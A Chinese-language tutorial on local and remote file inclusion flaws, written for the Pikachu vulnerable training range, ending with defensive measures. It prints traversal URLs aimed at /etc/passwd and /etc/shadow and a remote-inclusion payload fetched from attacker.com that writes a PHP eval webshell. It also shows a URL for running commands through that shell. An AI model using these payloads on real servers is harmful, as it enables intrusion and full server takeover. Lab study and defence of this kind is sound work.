Pikachu靶场-File Inclusion
字数 1039 2025-08-24 20:49:22
文件包含漏洞(File Inclusion)详解
1. 文件包含漏洞概述
文件包含是一种常见的开发功能,各种编程语言都提供了内置的文件包含函数,允许开发人员在一个代码文件中直接包含(引入)另一个代码文件。
在PHP中,主要提供以下文件包含函数:
include(),include_once()require(),require_once()
漏洞产生条件
当文件包含函数中包含的代码文件路径由用户可控变量指定,且未做足够的安全过滤时,就可能产生文件包含漏洞。攻击者可以指定"意想不到"的文件让包含函数执行,从而实施恶意操作。
文件包含漏洞分类
-
本地文件包含(Local File Inclusion, LFI)
- 仅能包含服务器本地的文件
- 攻击者通常会尝试包含系统配置文件读取敏感信息
- 常与文件上传漏洞结合使用
-
远程文件包含(Remote File Inclusion, RFI)
- 能够通过URL地址包含远程文件
- 攻击者可以传入任意恶意代码
- 危害性极大
2. 本地文件包含(LFI)利用
基本利用方式
-
直接包含本地文件:
http://target.com/vul/fileinclude/fi_local.php?filename=file1.php -
目录遍历包含:
http://target.com/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/phpinfo.php
典型利用场景
-
读取系统敏感文件:
/etc/passwd/etc/shadow- 网站配置文件等
-
结合文件上传漏洞:
- 先上传一个包含恶意代码的文件
- 再通过LFI包含该文件执行代码
3. 远程文件包含(RFI)利用
利用前提条件
-
PHP配置中必须开启:
allow_url_include = Onallow_url_fopen = On
-
所包含的远程文件后缀不能与目标服务器语言相同(如PHP服务器不能包含.php文件)
典型利用方式
-
准备恶意文本文件(hack.txt):
<?php $myfile = fopen("hack.php", "w"); $txt = '<?php @eval($_POST["hack"]);?>'; fwrite($myfile, $txt); fclose($myfile); ?> -
远程包含该文件:
http://target.com/vul/fileinclude/fi_remote.php?filename=http://attacker.com/hack.txt -
执行后会在目标服务器生成webshell文件(hack.php)
-
使用webshell控制服务器:
http://target.com/vul/fileinclude/hack.php?hack=执行的命令
4. 防御措施
-
避免用户控制文件路径
- 尽量使用固定文件路径
- 如需动态包含,使用白名单限制
-
严格过滤输入
- 检查用户输入是否包含
../等路径遍历字符 - 限制文件扩展名
- 检查用户输入是否包含
-
PHP配置安全
- 关闭
allow_url_include和allow_url_fopen - 设置
open_basedir限制文件访问范围
- 关闭
-
其他措施
- 确保上传目录不可执行
- 定期更新和修补系统
5. 总结
文件包含漏洞危害严重,特别是RFI可以直接导致服务器被完全控制。开发时应严格遵循最小权限原则,对用户输入进行充分验证和过滤,同时保持服务器配置的安全设置。